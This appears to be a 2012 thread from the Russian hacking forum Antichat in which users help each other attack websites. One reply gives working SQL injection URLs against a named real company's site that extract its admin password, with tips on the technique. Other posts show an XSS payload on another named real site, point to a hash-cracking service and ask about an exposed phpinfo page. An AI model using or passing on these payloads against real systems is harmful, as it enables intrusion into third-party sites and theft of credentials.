ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
14.12.2012, 16:12
|
|
Guest
Сообщений: n/a
Провел на форуме:
216062
Репутация:
231
|
|
Сообщение от zloy_fantom
zloy_fantom said:
не нашел сетевых ресурсов расшифровки именно md5(phpbb3)-хешей, может у кого есть на примете?
http://www.cmd5.org/
|
|
|
|
14.12.2012, 16:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
15180
Репутация:
0
|
|
Сообщение от grimnir
grimnir said:
http://www.cmd5.org/
Спасибо
|
|
|
|
14.12.2012, 18:07
|
|
Новичок
Регистрация: 12.09.2009
Сообщений: 5
Провел на форуме:
23474
Репутация:
0
|
|
Подскажите что можно сделать
http://www.mywed.ru/photographer/popular/
вбивая в строку поиска
'">alert('a');
нажимаем найти получаем ошибку, и потом кликаем на ссылку войти
отрабатывает alert()
Как это использовать можно.
|
|
|
14.12.2012, 18:35
|
|
Guest
Сообщений: n/a
Провел на форуме:
178623
Репутация:
94
|
|
Сообщение от vladimircape
vladimircape said:
Подскажите что можно сделать
http://www.mywed.ru/photographer/popular/
вбивая в строку поиска
'">alert('a');
нажимаем найти получаем ошибку, и потом кликаем на ссылку войти
отрабатывает alert()
Как это использовать можно.
Там PostgreSQL, можно инъекцию провести.
|
|
|
|
14.12.2012, 20:10
|
|
Новичок
Регистрация: 12.09.2009
Сообщений: 5
Провел на форуме:
23474
Репутация:
0
|
|
Сообщение от MaxFast
MaxFast said:
Там
PostgreSQL
, можно инъекцию провести.
Но как я понял по ошибкам там Zend фреймворк и используется PDO, просто там не получится.
|
|
|
|
15.12.2012, 02:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
77731
Репутация:
33
|
|
Помогиет кто-нить раскурить эту ссылку... Если не трудно в ЛС... что и как вы сделали... там вроде как MSAccess но с данной СУБД у меня ничего не получается((
Код:
Code:
http://www.mooeraudio.com/en/ProductInfo.asp?id=13
|
|
|
|
15.12.2012, 08:03
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от GhostW
GhostW said:
Помогиет кто-нить раскурить эту ссылку... Если не трудно в ЛС... что и как вы сделали... там вроде как MSAccess но с данной СУБД у меня ничего не получается((
Код:
Code:
http://www.mooeraudio.com/en/ProductInfo.asp?id=13
Угу. Это MsAccess
_ttp://www.mooeraudio.com/en/ProductInfo.asp?id=13+and+1=2+union+select+1,2,3,1 11222333444,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1 9+from+adminuser%00
_ttp://www.mooeraudio.com/en/ProductInfo.asp?id=13+and+1=2+union+select+1,2,3,( select+top+1+cstr([adminpwd])+from+(select+top+1+*+from+(select+top+1+*+from+[adminuser]+order+by+1)+t+order+by+1+desc)t),5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19+from+adminuser%00
4 самых важных момента
1) Выборка всегда должна идти из какой-либо таблицы, иначе запрос некорректен
2) Для отсечения зпроса работает только нулл байт %00 или %16
3) Все таблицы/колонки подбираются в слепую, при условии что не доступны сисемные таблички.
4) Для конвертирования получаемых данных в строковый тип используй cstr()
|
|
|
|
15.12.2012, 12:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
28262
Репутация:
23
|
|
Приветствую, помогающие!
Подскажите как быстро избавится от eval, в скриптах? Очень часто сталкиваюсь, что весь joomla сайт, включая системные скрипты, файлов шаблонов подвержен вставкам eval. Скорее всего вставляют автоматом, т.к. все в одном месте (расположение eval'ов), все eval одни и те же - редиректят мобильный траф.
|
|
|
|
15.12.2012, 15:58
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
Сообщение от Zed0x
Zed0x said:
Приветствую, помогающие!
Подскажите как быстро избавится от eval, в скриптах? Очень часто сталкиваюсь, что весь joomla сайт, включая системные скрипты, файлов шаблонов подвержен вставкам eval. Скорее всего вставляют автоматом, т.к. все в одном месте (расположение eval'ов), все eval одни и те же - редиректят мобильный траф.
Тебе поможет suhosin-extension
Вот можешь здесь почитать про его настройки
|
|
|
|
15.12.2012, 17:39
|
|
Guest
Сообщений: n/a
Провел на форуме:
8271
Репутация:
0
|
|
Код:
Code:
http://cs.man1a.com/e107_files/cache/phpinfo.php
уязвимы? |
|
|
|
|
|
|
|
Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
|
|
|
|
Похожие темы
Линейный вид
